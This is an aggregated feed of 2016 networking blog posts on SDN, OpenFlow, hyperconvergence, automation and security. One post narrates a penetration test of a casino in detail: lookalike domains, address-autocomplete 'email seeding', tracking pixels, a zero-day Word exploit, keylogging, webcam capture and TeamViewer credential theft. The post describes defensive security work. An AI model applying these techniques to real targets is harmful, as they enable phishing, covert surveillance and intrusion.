December 02, 2016

Networking Now (Juniper Blog)

BlackNurse in review: Is your NGFW vulnerable?

On November 10th, 2016, Danish firm TDC published a report about the effects of a particular ICMP Type+Code combination that triggers resource exhaustion issues within many leading Firewall platforms. The TDC SOC has branded this low-volume attack BlackNurse, details of which can be seen here, and here

 

"This is the best article and test we have to date on the BlackNurse attack. The article provides some answers which are not covered anywhere else. The structure and documentation of the test is remarkable. It would be nice to see the test performed on other firewalls – good job Craig ” 

Lenny Hansson and Kenneth Bjerregaard Jørgensen, BlackNurse Discoverers

by cdods at December 02, 2016 02:30 PM

ipSpace.net Blog (Ivan Pepelnjak)
XKCD Comics

December 01, 2016

ShortestPathFirst

How to Spot a Fake Facebook Account

Ever get a friend request from someone you don’t know and have never met before? More often than not, these accounts are created by criminals looking to harvest your personal information, or scam you in some other fashion.

It typically starts when you receive a friend request from someone you don’t know. And you have no mutual friends in common:

1-fake-facebook-account

A dead giveaway is looking at their Recently Added Friends. In this case, this person has accumulated a lot of new friends in a very short period of time. Notice they are all guys. Guys are more willing to accept a friend request from someone they don’t know, especially if it’s attached to a pretty face.

Also note that there are no mutual friends in common:

2-fake-facebook-account

Another tell tale sign is that all the pictures associated with the account have been added quite recently, in this case, in the last hour. This indicates this is a new account, not one that has been a legitimate account for a long time:

3-fake-facebook-account

NOTE: Pictures have been masked to protect the innocent. In this case, some unknowing girl has had her pictures harvested by the scammer for the purpose of running this endeavor.

If they don’t respond to an inquiry as to how you know them, that’s a dead giveaway:

4-fake-facebook-account

When faced with a potentially fake account, you can report them to Facebook’s Security Team which will review the account to determine its legitimacy. Report an account by clicking on the button next to the Message button and choosing Report. Then select the options to report the profile as a fake account:

5-fake-facebook-account

6-fake-facebook-account

7-fake-facebook-account

If all is successful, within a few days you should receive the following from the Facebook Security Team:
8-fake-facebook-account

In short, be smart, pay attention to the clues, and guard yourself. Be wary of accepting friend requests from someone you don’t know.

This has been a public service announcement.

by Stefan Fouant at December 01, 2016 02:37 PM

ipSpace.net Blog (Ivan Pepelnjak)

Would You Use Avaya's SPBM Solution?

Got this comment to one of my L2-over-VXLAN blog posts:

I found the Avaya SPBM solution "right on the money" to build that L2+ fabric. Would you deploy Avaya SPBM?

Interestingly, I got that same question during one of the ExpertExpress engagements and here’s what I told that customer:

Read more ...

by Ivan Pepelnjak (noreply@blogger.com) at December 01, 2016 08:33 AM

November 30, 2016

My Etherealmind

Video:Jenn Schiffer, Engineer/Artist – XOXO Festival

This video is fantastic. Funny, smart satire with real commentary. Worth watching.

The post Video:Jenn Schiffer, Engineer/Artist – XOXO Festival appeared first on EtherealMind.

by Greg Ferro at November 30, 2016 10:30 PM

Networking Now (Juniper Blog)

Journey to Securing Public and Hybrid Cloud Deployments

Screen Shot 2016-11-30 at 8.44.39 AM.png

 

Everyone agrees: IT infrastructure has, for the last several years, been migrating inexorably toward the cloud. When did that long journey start? How far have we come? And how much further do we have to go? Let’s take a look back at the history of the cloud.


by praviraj at November 30, 2016 04:47 PM

ipSpace.net Blog (Ivan Pepelnjak)

Finding Excuses to Avoid Network Automation

My Network Automation in Enterprise Environments blog post generated the expected responses, including:

Some of the environments I am looking at have around 2000-3000 devices and 6-7 vendors for various functions and 15-20 different device platform from those vendors. I am trying to understand what all environments can Ansible scale up to and what would be an ideal environment enterprises should be looking at more enterprise grade automation/orchestration platforms while keeping in mind that platform allows extensibility.

Luckily I didn’t have to write a response – one of the readers did an excellent job:

Read more ...

by Ivan Pepelnjak (noreply@blogger.com) at November 30, 2016 07:44 AM

XKCD Comics

November 29, 2016

SNOsoft Research Team

Hacking casinos with zeroday exploits for fun and profit

Most popular email programs like Microsoft Outlook, Apple Mail, Thunderbird, etc. have a convenient feature that enables them to remember the email addresses of people that have been emailed.  Without this feature people would need to recall email addresses from memory or copy and paste from an address book. This same feature enables hackers to secretly breach networks using a technique that we created back in 2006 and named Email Seeding.

This article explains how we used Email Seeding to breach the network of a well-known and otherwise well protected casino.  As is always the case, this article has been augmented to protect the identity of our customer.

Lets begin…

Our initial objective was to gather intelligence about the casino’s employees.  To accomplish this, we developed a proprietary LinkedIn tool that uses the name or domain of a company and extracts employee information.  The information is compiled into a dossier of sorts that contains the name, title, employment history and contact information for each targeted individual.  Email address structure is automatically determined by our tool.

It is to our advantage if our customers use Google apps as was the case with the casino.  This is because Google suffers from a username enumeration vulnerability that allows hackers to extract valid email addresses.  For example, if we enter abc@xyz.com and the address does not exist then we get an error.  If we enter the same address and it does exist, we don’t get an error.  Our LinkedIn tool has native functionality that leverages this vulnerability which allows us to compile a targeted list of email addresses for Spear Phishing and/or Social Engineering.

We used this tool to compile a target list for the casino. Then we assembled an offensive micro-infrastructure to support a chameleon domain and its associated services.  The first step in this process to register a chameleon domain, which is a domain designed to impersonate a legitimate domain (with SSL certificates and all).  Historically this was accomplished by using a now obsolete IDN Homoglyph attack.  Today we rely on psychological trickery and influence the tendency of the human brain to autocorrect incorrectly spelled names while perceiving them as correct.

For example, let’s pretend that our casino’s name is Acme Corporation and that their domain is acmecorporation.com.  A good chameleon domain would be acmecorporatlon.com or acmceorporation.com, which are both different than acmecorporation.com (read them carefully).  This technique works well for longer domains and obscure domains but is less ideal for shorter domains like fedex.com or ups.com for example.  We have tactics for domains like that but won’t discuss them here.

There are a multitude of advantages to using a chameleon domain over traditional email spoofing techniques.  One example is that chameleon domains are highly interactive.  Not only can we send emails from chameleon domains but we can also receive emails.   This high-interaction capability helps to facilitate high-threat Social Engineering attacks.  Additionally, because chameleon domains are actually real domains they can be configured with SPF records, DKIM, etc.  In fact, in many cases we will even purchase SSL certificates for our chameleon domains.  All of these things help to create a credible infrastructure.  Finally, we always configure our chameleon domains with a catchall email address.  This ensures that any emails sent to our domain will be received.

Netragard maintains active contracts with various Virtual Private Server (VPS) providers.  These providers enable us to spin up and spin down chameleon infrastructures in short time.  They also enable us to spin up and spin down distributed platforms for more advanced things like distributed attacking, IDS/IPS saturation, etc. When we use our email seeding methodology we spin up a micro-infrastructure that offers DNS, Email, Web, and a Command & Control server for RADON.

For the casino, we deployed an augmented version of bind combined with something similar to honeytokens so that we could geographically locate our human targets.  Geolocation is important for impersonation as it helps to avoid the accidental face-to-face meetings. For example, if we’re impersonating John to attack Sally and they bump into each other at the office then there’s a high risk of operational exposure.

With the micro-infrastructure configured we began geolocating employees.  This was accomplished in part with social media platforms like Twitter, Facebook, etc. The employees that could not be located with social media were located using a secondary email campaign.  The campaign used a unique embedded tracker URL and tracker image.  Any time the host associated with the URL was resolved our DNS server would tell us what IP address the resolution was done from.  If the image was loaded (most were) then we’d receive the IP address as well as additional details about the browser, operating system in use by our target, etc.  We used the IP addressing information to plot rough geographic locations.

When we evaluated the data that we collected we found that the Casino’s employees (and contractors) worked from a variety of different locations.  One employee, Jack Smith, was particularly appealing because of his title which was “Security Manager” and his linked in profile talked about incident response and other related things.  It also appeared that Jack worked in a geographically dissimilar location to many potential targets.  Jack became our primary choice for impersonation.

With Jack selected we emailed 15 employees from  jsmith@acmceorporation.com.   That email address is a chameleon address, note the “ec” is inverted to “ce”. Jack’s real email address would be jsmith@acmecorporation.com.  While we can’t disclose the content of the email that we used, it was something along the lines of:

“Hi <name>, did you get my last email?” 

Almost immediately after sending the email we received a 3 out of office auto-responses.  By the end of the next day we received 12 human responses indicating that we had a 100% success rate.  The 12 human responses were exciting because chances were high that we had successfully seeded our targets with Jack’s fake chameleon address.

After 4 days we received an email from an employee named Brian with the title “Director of IT Security”. Brian emailed us rather than emailing the real Jack because his email client auto-completed Jack’s email with our seeded address rather than Jack’s real one. Attached to the email was a Microsoft Word document.  When we opened the document we realized that we were looking at an incident report that Jack had originally emailed to Brian for comment.

While the report provided a treasure trove of information that would have been useful for carrying out a multitude of different attacks, the document and trust relationship between Jack and Brian was far more interesting.  For most customers we’d simply embed malware (RADON) into a document and use macro’s or some other low-tech method of execution.   For this customer, given that they were a high-profile casino with high-value targets, we decided to use a zeroday exploit for Microsoft Word rather than something noisy like a macro.

While the exploit was functional it was not flawless.  Despite this we were confident that exploitation would be successful.  The payload for the exploit was RADON, our home-grown zeroday malware and it was configured to connect back to our command and control server using one three different techniques. Each of the three techniques uses common network protocols and each communicates in using methods that appear normal as to evade detection.  The exact details on these techniques isn’t something that share because we use them regularly.

We delivered our now weaponized Microsoft Word document back to Brian with an email that suggested more updates were made.  Within 10 minutes of delivery RADON called home and we took covert control of Brian’s corporate desktop.

The next step was to move laterally and infect a few more targets to ensure that we did maintained access to the casino’s LAN.  The normal process for doing this would be to scan / probe the network and identify new targets.   We wanted to proceed with caution because we didn’t know if the Casino had any solutions to detect lateral movement.  So, to maintain stealth, rather than scanning the internal network we sniffed and monitored all network connections.

In addition to sniffing, our team also searched Brian’s computer for intelligence that would help to facilitate lateral movement.  Searching was carried out with extreme care as to avoid accessing potential bait files.  Bait files, when accessed, will trigger an alarm that alerts administrators and we could not afford to get caught in such early stages.  Aside from collecting network and filesystem information we also took screenshots every minute, activated Brian’s microphone, took frequent web-cam photographs and recorded his keystrokes using RADON.

After a few hours of automated reconnaissance, we began to analyze our findings.  One of the first things that caught our attention was a screen shot of Brian using TeamViewer.  This prompted us to search our keylogger recordings for Brian’s TeamViewer credentials and when we did we found them in short time.  We used his captured credentials to login to TeamViewer and were presented with a long list of servers belonging to the casino.  What was even more convenient was that credentials for those servers were stored in each server profile so all we had to do was click and pwn.  It was like Christmas for Hackers!

Our method from that point forward was simple.  We’d connect to a server, deploy RADON, use RADON to gather files, credentials, screenshots, etc.  Within 30-minutes we went from having a single point of access to having more control over the casino’s network than their own IT department. This was in large part because our control was completely centralized thanks to RADON and we weren’t limited by corporate polices, rules, etc.  (We are the hackers after all).

This was the first casino that we encountered with such a wide-scale deployment of TeamViewer.  When we asked our customer why they were using TeamViewer in this manner their answer was surprising.  The casino’s third party IT support company recommended that they use TeamViewer in place of RDP suggesting that it was more secure.  We of course demonstrated that this was not the case.  With our direction the casino removed TeamViewer and now requires all remote access to be handled over VPN with 2 factor authentication and RDP.

For the sake of clarity, much more work was done for the Casino than what was discussed here.  We don’t simply hack our clients, say thank you and leave them hanging. We do provide our customers with detailed custom reports and if required assistance with hardening. With that explained, this article was written with a specific focus on email seeding.   We felt that given the current threat landscape this was a good thing to be aware of because it makes for an easy breach.

The post Hacking casinos with zeroday exploits for fun and profit appeared first on Netragard.

by Adriel Desautels at November 29, 2016 11:07 PM

ShortestPathFirst

The Changing Landscape of Selling in the Age of SDN

There are massive waves of technology upheaval taking place in the marketplace, causing disruption and providing a challenge to technology salespeople who are used to selling in the traditional ways. Cloud, Automation, Mobility, Adaptive Security and the Internet of Things are just a few of the major changes affecting the landscape right now. And while these technologies are certainly challenging in their own right, there is one technology that stands on it’s own, not only in terms of how technology decisions are made, but also how technology is bought.

That technology is Software Defined Networking (SDN). SDN is causing a fundamental shift in the way that technology is procured. There is a major shift away from buying point products and technologies which only meet a specific need and instead looking at the bigger picture with an aim of technology procurement fitting into a larger ecosystem that is providing broader solutions, enabling shorter ROI and better business agility.

Application-Centricity Creates New Stakeholders

The buying process used to be relatively straightforward, and different technology groups within an organization could procure technology within their own silo with little regard to how it fit within the broader ecosystem. Often times, the technology implemented would dictate and limit what applications could be run on it. Now the shift is towards an application-centric buying framework. The overarching driver is that the applications themselves are the driving force behind technology purchases, and these purchases must work in a tightly sophisticated, integrated ecosystem that consists of multiple compute, storage and networking resources. And more often than not, security is also being woven into that fabric as well. No longer can these be looked at as individual elements – furthermore, new tools that are emerging to orchestrate all these resources simultaneously are forcing the siloed buyers of the past to work cohesively with other teams and determine if technology meets the overarching requirements of various applications.

As a result, there are new stakeholders. The new stakeholders are the application architects, the cloud architects, and more commonly the DevOps teams that are responsible for overseeing the collaboration between developers and IT teams. These stakeholders will be responsible for ensuring that technology purchases are able to seamlessly integrate into a fully orchestrated system.

Adapting to the Changing Landscape

By better understanding the changing landscape of the buyer in the broader ecosystem, we must understand that we can no longer sell individual pieces of the puzzle. We must understand the whole puzzle itself and be able to sell the various solutions collectively which answer the needs of the buyers. Understanding that the whole is greater than the sum of all of its parts. Salespeople and technology professionals must be well versed in a diverse range of technologies in order to be able to speak to the technology buyer, with a goal of providing broader solutions that meet the “application-centric” nature that these buyers demand.

Furthermore, as solutions move towards a software-based model, there are implications which need to be understood as increasingly business will being conducted on a “subscription-based” model. This means that we need to understand how to maintain revenue streams in light of the fact that subscription based pricing models and the revenue associated with it are quite different compared to traditional revenue streams.

It also affects the channel in that various channels must come together to deliver solutions to their customers that integrate cohesively in a much larger framework. It’s no longer acceptable to simply deploy gear based on “speeds and feeds”. The channel needs to demonstrate that their solutions work cohesively in a larger ecosystem, and demonstrate that they have strong partnerships to meet these needs. These partnerships are going to be increasingly important as customers tie together components from multiple vendors and expect a seamless, integrated and highly orchestrated ecosystem.

In order to capitalize on this changing landscape and maintain revenue streams, a different approach needs to be taken with customers. First off will be identifying the new stakeholders. Once the stakeholders are identified, they will need to be approached with an overarching vision of their business problems and needs, with a focus on the broader solutions encompassing a diverse set of technologies that need to work cohesively. The successful technology salesperson of tomorrow will assist their customers by showing them fully orchestrated solutions that meet their needs while at the same time driving down costs, enabling them to be more agile and accomplish more in a shorter time.

by Stefan Fouant at November 29, 2016 06:45 PM

Networking Now (Juniper Blog)

Journey to Securing Public (AWS) and Hybrid Cloud Deployments

 Everyone agrees: IT infrastructure has, for the last several years, been migrating inexorably toward the cloud. When did that long journey start? How far have we come? And how much further do we have to go? Let’s take a look back at the history of the cloud.

 

Prior to 2005, virtually all enterprises built their own physical data centers, which demanded large upfront costs. The concept of virtualization began gaining traction around 2007, and enterprises slowly started moving parts of their physical data centers to private clouds using either Linux KVM or VMware hypervisors.

by praviraj at November 29, 2016 03:57 PM

The Networking Nerd

OpenFlow Is Dead. Long Live OpenFlow.

The King Is Dead - Long Live The King

Remember OpenFlow? The hammer that was set to solve all of our vaguely nail-like problems? Remember how everything was going to be based on OpenFlow going forward and the world was going to be a better place? Or how heretics like Ivan Pepelnjak (@IOSHints) that dared to ask questions about scalability or value of application were derided and laughed at? Yeah, good times. Today, I stand here to eulogize OpenFlow, but not to bury it. And perhaps find out that OpenFlow has a much happier life after death.

OpenFlow Is The Viagra Of Networking

OpenFlow is not that much different than Sildenafil, the active ingredient in Vigara. Both were initially developed to do something that they didn’t end up actually solving. In the case of Sildenafil, it was high blood pressure. The “side effect” of raising blood pressure in a specific body part wasn’t even realized until after the trials of the drug. The side effect because the primary focus of the medication that was eventually developed into a billion dollar industry.

In the same way, OpenFlow failed at its stated mission of replacing the forwarding plane programming method of switches. As pointed out by folks like Ivan, it had huge scalability issues. It was a bit clunky when it came to handling flow programming. The race from 1.0 to 1.3 spec finalization left vendors in the dust, but the freeze on 1.3 for the past few years has really hurt innovation. Objectively, the fact that almost no major shipping product uses OpenFlow as a forwarding paradigm should be evidence of it’s failure.

The side effect of OpenFlow is that it proved that networking could be done in software just as easily as it could be done in hardware. Things that we thought we historically needed ASICs and FPGAs to do could be done by a software construct. OpenFlow proved the viability of Software Defined Networking in a way that no one else could. Yet, as people abandoned it for other faster protocols or rewrote their stacks to take advantage of other methods, OpenFlow did still have a great number of uses.

OpenFlow Is a Garlic Press, Not A Hammer

OpenFlow isn’t really designed to solve every problem. It’s not a generic tool that can be used in a variety of situations. It has some very specific use cases that it does excel at doing, though. Think more like a garlic press. It’s a use case tool that is very specific for what it does and does that thing very well.

<iframe allowfullscreen="allowfullscreen" frameborder="0" height="329" mozallowfullscreen="mozallowfullscreen" src="https://player.vimeo.com/video/192307124" title="NEC Cyber Defense with Liviu Pinchas" webkitallowfullscreen="webkitallowfullscreen" width="584"></iframe>

This video from Networking Field Day 13 is a great example of OpenFlow being used for a specific task. NEC’s flavor of OpenFlow, ProgrammableFlow, is used on conjunction with higher layer services like firewalls and security appliances to mitigate the spread of infections. That’s a huge win for networking professionals. Think about how hard it would be to track down these systems in a network of thousands of devices. Even worse, with the level of virulence of modern malware, it doesn’t take long before the infected system has infected others. It’s not enough to shut down the payload. The infection behavior must be removed as well.

What NEC is showing is the ultimate way to stop this from happening. By interrogating the flows against a security policy, the flow entries can be removed from switches across the network or have deny entries written to prevent communications. Imagine being able to block a specific workstation from talking to anything on the network until it can be cleaned. And have that happen automatically without human interaction. What if a security service could get new malware or virus definitions and install those flow entries on the fly? Malware could be stopped before it became a problem.

This is where OpenFlow will be headed in the future. It’s no longer about adapting the problems to fit the protocol. We can’t keep trying to frame the problem around how much it resembles a nail just so we can use the hammer in our toolbox. Instead, OpenFlow will live on as a point protocol in a larger toolbox that can do a few things really well. That means we’ll use it when we need to and use a different tool when needed that better suits the problem we’re actually trying to solve. That will ensure that the best tool is used for the right job in every case.


Tom’s Take

OpenFlow is still useful. Look at what Coho Data is using it for. Or NEC. Or any one of a number of companies that are still developing on it. But the fact that these companies have put significant investment and time into the development of the protocol should tell you what the larger industry thinks. They believe that OpenFlow is a dead end that can’t magically solve the problems they have with their systems. So they’ve moved to a different hammer to bang away with. I think that OpenFlow is going to live a very happy life now that people are leaving it to solve the problems it’s good at solving. Maybe one day we’ll look back on the first life of OpenFlow not as a failure, but instead as the end of the beginning of it become what it was always meant to be.


by networkingnerd at November 29, 2016 12:21 PM

ipSpace.net Blog (Ivan Pepelnjak)

Worth Reading: So You Want to Become a Cloud Provider

My friend Robert Turnšek published an interesting blog post pondering whether it makes sense to become a cloud provider.

I loved reading it, particularly the Trap for System Integrators part, because I know a bit of the history, and could easily identify two or three failed or stalled projects per paragraph (like: “Just adding some blade servers and storage to the existing server environment won’t make you a cloud provider”). Hope you’ll have as much fun as I did.

by Ivan Pepelnjak (noreply@blogger.com) at November 29, 2016 08:59 AM

November 28, 2016

ipSpace.net Blog (Ivan Pepelnjak)

Q&A: Ingress Traffic Flow in Multi-Data Center Deployments

One of my readers was watching the Building Active-Active Data Centers webinar and sent me this question:

I'm wondering if you have additional info on how to address the ingress traffic flow issue? The egress is well explained but the ingress issue wasn't as well explained.

There’s a reason for that: there’s no good answer.

Read more ...

by Ivan Pepelnjak (noreply@blogger.com) at November 28, 2016 08:46 AM

XKCD Comics

November 25, 2016

ipSpace.net Blog (Ivan Pepelnjak)

StackStorm 101 on Software Gone Wild

A few weeks ago Matt Oswalt wrote an interesting blog post on principles of automation, and we quickly agreed it’s a nice starting point for a podcast episode.

In the meantime Matt moved to StackStorm team so that became the second focus of our chat… and then we figured out it would be great to bring in Matt Stone (the hero of Episode 13).

Read more ...

by Ivan Pepelnjak (noreply@blogger.com) at November 25, 2016 08:34 AM

Network Design and Architecture

Don’t miss this opportunity

*|MC:SUBJECT|*     Black Friday & Cyber Monday Black Friday Thru Cyber Monday Special Discount Starts November 24 at 5PM PST Thru November 28 9PM PST 30% OFF On Below Products !  CCDE In-Depth  New CCDE Workbook buy now » Live/Instructor-Led  Online CCDE Training  buy now » Self Paced CCDE Training Lifetime Access buy now »  

The post Don’t miss this opportunity appeared first on Cisco Network Design and Architecture | CCDE Bootcamp | orhanergun.net.

by Orhan Ergun at November 25, 2016 08:23 AM

XKCD Comics

November 24, 2016

Networking Now (Juniper Blog)

The Thing is… What is an IoT Device (and should we care)?

Against the background of a thriving digital economy, it’s evident just how many of the technologies we rely on today are going to be a big part of our interconnected future. Yet, in just a few short years, much of what we now take for granted could change beyond recognition and in ways few of us might have predicted.

by lfisher at November 24, 2016 09:29 PM

ipSpace.net Blog (Ivan Pepelnjak)

Testing Ansible Playbooks with Cisco VIRL

Cisco VIRL is the ideal testing environment when you want to test your Ansible playbooks with various Cisco network operating systems (IOS, IOS XE, NX-OS or IOS XR). The “only” gotcha: how do you reach those devices from the outside world?

It was always possible to reach the management interface of devices running with VIRL, and it got even simpler with VIRL release 1.2.

by Ivan Pepelnjak (noreply@blogger.com) at November 24, 2016 07:54 AM

November 23, 2016

The Networking Nerd

Nutanix and Plexxi – An Affinity to Converge

nutanix-logo

Nutanix has been lighting the hyperconverged world on fire as of late. Strong sales led to a big IPO for their stock. They are in a lot of conversations about using their solution in place of large traditional virtualization offerings that include things like blade servers or big boxes. And even coming off the recent Nutanix .NEXT conference there were some big announcements in the networking arena to help them complete their total solution. However, I think Nutanix is missing a big opportunity that’s right in front of them.

I think it’s time for Nutanix to buy Plexxi.

Software Says

If you look at the Nutanix announcements around networking from .NEXT, they look very familiar to anyone in the server space. The highlights include service chaining, microsegmentation, and monitoring all accessible through an API. If this sounds an awful lot like VMware NSX, Cisco ACI, or any one of a number of new networking companies then you are in the right mode of thinking as far as Nutanix is concerned.

SDN in the server space is all about overlay networking. Segmentation of flows and service chaining are the reason why security is so hard to do in the networking space today. Trying to get traffic to behave in a certain way drives networking professionals nuts. Monitoring all of that to ensure that you’re actually doing what you say you’re doing just adds complexity. And the API is the way to do all of that without having to walk down to the data center to console into a switch and learn a new non-Linux CLI command set.

SDN vendors like VMware and Cisco ACI would naturally have jumped onto these complaints and difficulties in the networking world and both have offered solutions for them with their products. For Nutanix to have bundled solutions like this into their networking offering is no accident. They are looking to battle VMware head-to-head and need to offer the kind of feature parity that it’s going to take a make medium to large shops shift their focus away from the VMware ecosystem and take a long look at what Nutanix is offering.

In a way, Nutanix and VMware are starting to reinforce the idea that the network isn’t a magical realm of protocols and tricks that make applications work. Instead, it’s a simple transport layer between locations. For instance, Amazon doesn’t rely on the magic of the interstate system to get your packages from the distribution center to your home. Instead, the interstate system is just a transport layer for their shipping overlays – UPS, FedEX, and so on. The overlay is where the real magic is happening.

Nutanix doesn’t care what your network looks like. They can do almost everything on top of it with their overlay protocols. That would seem to suggest that the focus going forward should be to marginalize or outright ignore the lower layers of the network in favor of something that Nutanix has visibility into and can offer control and monitoring of. That’s where the Plexxi play comes into focus.

Plexxi Logo

Affinity for Awesome

Plexxi has long been a company in search of a way to sell what they do best. When I first saw them years ago, they were touting their Affinities idea as a way to build fast pathways between endpoints to provide better performance for applications that naturally talked to each other. This was a great idea back then. But it quickly got overshadowed by the other SDN solutions out there. It even caused Plexxi to go down a slightly different path for a while looking at other options to compete in a market that they didn’t really have a perfect fit product.

But the Affinities idea is perfect for hyperconverged solutions. Companies like Nutanix are marking their solutions as the way to create application-focused compute nodes on-site without the need to mess with the cloud. It’s a scalable solution that will eventually lead to having multiple nodes in the future as your needs expand. Hyperconverged was designed to be consumable per compute unit as opposed to massively scaling out in leaps and bounds.

Plexxi Affinities is just the tip of the iceberg. Plexxi’s networking connectivity also gives Nutanix the ability to build out a high-speed interconnect network with one advantage – noninterference. I’m speaking about what happens when a customer needs to add more networking ports to support this architecture. They need to make a call to their Networking Vendor of Choice. In the case of Cisco, HPE, or others, that call will often involve a conversation about what they’re doing with the new network followed by a sales pitch for their hyperconverged solution or a partner solution that benefits both companies. Nutanix has a reputation for being the disruptor in traditional IT. The more they can keep their traditional competitors out of the conversation, the more likely they are to keep the business into the future.


Tom’s Take

Plexxi is very much a company with an interesting solution in need of a friend. They aren’t big enough to really partner with hyperconverged solutions, and most of the hyperconverged market at this point is either cozy with someone else or not looking to make big purchases. Nutanix has the rebel mentality. They move fast and strike quickly to get their deals done. They don’t take prisoners. They look to make a splash and get people talking. The best way to keep that up is to bundle a real non-software networking component alongside a solution that will make the application owners happy and keep the conversation focused on a single source. That’s how Cisco did it back and the day and how VMware has climbed to the top of the virtualization market.

If Nutanix were to spend some of that nice IPO money on a Plexxi Christmas present, I think 2017 would be the year that Nutanix stops being discussed in hushed whispers and becomes a real force to be reckoned with up and down the stack.


by networkingnerd at November 23, 2016 06:44 PM

Networking Now (Juniper Blog)

Automating Cyber Threat Intelligence with SkyATP: Part Two (with Splunk)

splunk.png

Continuing on with our series, this particular post will revolve around "Security Information and Event Management" solutions (SIEM's), their place in the Enterprise, and how you can leverage their exceptional levels of visibility within SkyATP. 

by cdods at November 23, 2016 05:22 PM

Honest Networker
Networking Now (Juniper Blog)

Automating Cyber Threat Intelligence with SkyATP: Part One

Each year, the economics of "fighting back" against Hacktivism, CyberCrime, and the occasional State-Sponsored attack become more and more untenable for the typical Enterprise. It's nearly impossible for the average Security Team to stay up to date with the latest emerging threats while also being tasked with their regular duties. Given the current economic climate, the luxury of having a dedicated team to perform Cyber Threat Intelligence (CTI) is generally out of reach for all but the largest of Enterprises. While automated identification, curation, and enforcement of CTI cannot truly replace human Security Analysts (yet), it has been shown to go a long way towards increasing the effectiveness and agility of your Security infrastructure. 

by cdods at November 23, 2016 04:39 PM

Honest Networker
Network Design and Architecture

These 7 people passed the CCDE Practical exam with my training

I am glad to announce that 7 of the attendees passed the CCDE Practical Lab exam in November 17, 2016 after attending my CCDE Training Program and got their CCDE numbers.   Chintan Sutaria – CCDE 2016::26 Mazin Ahsan – CCDE 2016::30 Tahir Munir – CCDE 2016::31 Michael Zsiga –  CCDE 2016::32 Felix Nkansah -CCCDE 2016::36 Andre Dufour  – CCDE […]

The post These 7 people passed the CCDE Practical exam with my training appeared first on Cisco Network Design and Architecture | CCDE Bootcamp | orhanergun.net.

by Orhan Ergun at November 23, 2016 03:24 PM

ShortestPathFirst

Book Review :: Juniper QFX5100 Series: A Comprehensive Guide to Building Next-Generation Networks

Juniper QFX5100 Series: A Comprehensive Guide to Building Next-Generation Networks
by Douglas Richard Hanks, Jr.
Paperback: 310 pages
Publisher: O’Reilly Media
ISBN-13: 978-1491949573

5stars

Much more than just a book about the QFX5100

This was an easy weekend read, and quite honestly I’d never thought I’d say this about a technical book but I literally could not put the book down. Doug has amassed a wealth of great information, approaching the subject matter from a standpoint of brevity, applying the Goldilocks principle — not too much and not too little — but rather just the right amount of information.

Do not be confused by the title — this is not JUST a book about the QFX5100 series. As the subtitle might indicate, it’s more of a book on building next-gen networks, specifically Data Center networks, and serves as a fantastic primer on the various protocols and technologies that are becoming the mainstay of this world.

As the networking world works overtime to catch up to the virtualization offered by storage and compute resources, the reader tasked with creating the network of tomorrow will appreciate the coverage of building various types of fabrics of varying dimensions — whether it’s coverage of Juniper’s Virtual Chassis Fabric for building small to medium sized Ethernet Fabrics, or Clos Fabrics for building extremely large IP underlay networks, the coverage is top notch.  Readers will get a thorough introduction to the concepts of VXLAN and overlay networking with VTEPs using controllers such as Juniper’s Contrail or VMware’s NSX and their respective control plane signaling mechanisms such as EVPN and OVSDB.

I sincerely appreciated the in-depth coverage of the architecture of the QFX 5100 Series, the Broadcom Trident II chipset, as well as an inside look at the control plane virtualization that takes place on the QFX 5100 itself (apparently, Juniper is really taking virtualization to heart).  I also enjoyed the chapter on Performance and Scaling which covered the options for modifying latency throughout the box (cut-through vs. store-and-forward) as well as options for tailoring the Unified Forwarding Table to fit the needs of individual networks. The chapter on Network Automation is also a nice addition, with coverage of various automation tools such as PyEZ, Ansible, Puppet and Chef, just to name a few.

The astute reader familiar with Juniper’s website  will recognize that a few of the chapters comprising this book are borrowed from various white papers that Doug has authored – however, all in all, there is quite a bit more information in this book than can be gleaned  from resources on Juniper’s public facing collateral. There were a few minor grammatical and technical inconsistencies (largely text that didn’t match diagrams)… however this did not  detract from the overall value of the book and I can only ascribe this to the fact that Doug did not use me as a technical editor on this book. <hint hint>

Last but not least, although not specifically mentioned, I do believe this book as well his other QFX10000 book will prove to be invaluable resources for anyone preparing for the JNCDS-DC, JNCIP-DC, or the upcoming JNCIE-DC exams, as I strongly believe that technical content from all three exams will be likely be covered here.

All in all, an excellent resource, and one that I am sure to reference regularly in my day to day engagements working with customers building out next-generation data center networks. I thoroughly enjoyed reading this book and am looking forward to reading his recent book on the QFX10000 series.

 

by Stefan Fouant at November 23, 2016 02:10 PM

ipSpace.net Blog (Ivan Pepelnjak)

Worth Reading: Creating the Future, One Press Release at a Time

Russ White wrote a great blog post about our failure to predict the future. The part I love most:

If the definition of insanity is doing the same things over and over again, each time expecting different results, what does that say about the world of network engineering?

Enjoy!

by Ivan Pepelnjak (noreply@blogger.com) at November 23, 2016 07:32 AM

XKCD Comics

November 22, 2016

ipSpace.net Blog (Ivan Pepelnjak)

Q&A: Big Switch SDN

Got this set of questions from one of my readers:

I just met up with DELL guys for Big Switch SDN. They claim there is no routing running on leaf switches, the BCF is purely OpenFlow.

Almost true. It is based on OpenFlow, but they use tons of their own OpenFlow extensions to get stuff to work. That’s also why you have to install their agent on the switches.

Read more ...

by Ivan Pepelnjak (noreply@blogger.com) at November 22, 2016 07:30 AM

November 21, 2016

Security to the Core | Arbor Networks Security

Diving Into Buhtrap Banking Trojan Activity

Cyphort recently published an article about the Buhtrap banking trojan [https://www.cyphort.com/banking-malware-buhtrap-caught-action/], targeting users of Russian and Ukrainian banks as reported in March of 2016 by Group-IB [http://www.group-ib.com/brochures/gib-buhtrap-report.pdf]. Cyphort’s insightful article analyzes the compromise chain from the website eurolab[.]ua, directing users via an apparently injected HTML script src attribute to rozhlas[.]site which served exploit code for […]

by Curt Wilson at November 21, 2016 06:35 PM

FlokiBot: A Flock of Bots?

In early October, Flashpoint released an analysis of an underground forum advertisement for a new malware family known as FlokiBot. It took some time before a sample was found in the wild, but a researcher known as hasherezade flagged one on VirusTotal in early November. She also wrote an analysis of its dropper here. This […]

by Dennis Schwarz at November 21, 2016 04:50 PM

ipSpace.net Blog (Ivan Pepelnjak)

First Speakers in Building Network Automation Solutions Online Course

Like with the Next-Generation Data Center course, the live sessions in the Building Network Automation Solutions course include guest speakers, Q&A discussions, and solutions to sample challenges that you’ll be able to use to complete your homework assignments.

The guest speakers for the January 2016 course include:

Read more ...

by Ivan Pepelnjak (noreply@blogger.com) at November 21, 2016 08:18 AM

XKCD Comics

November 19, 2016

Honest Networker

November 18, 2016

My Etherealmind

Grace Hopper Awarded Honour

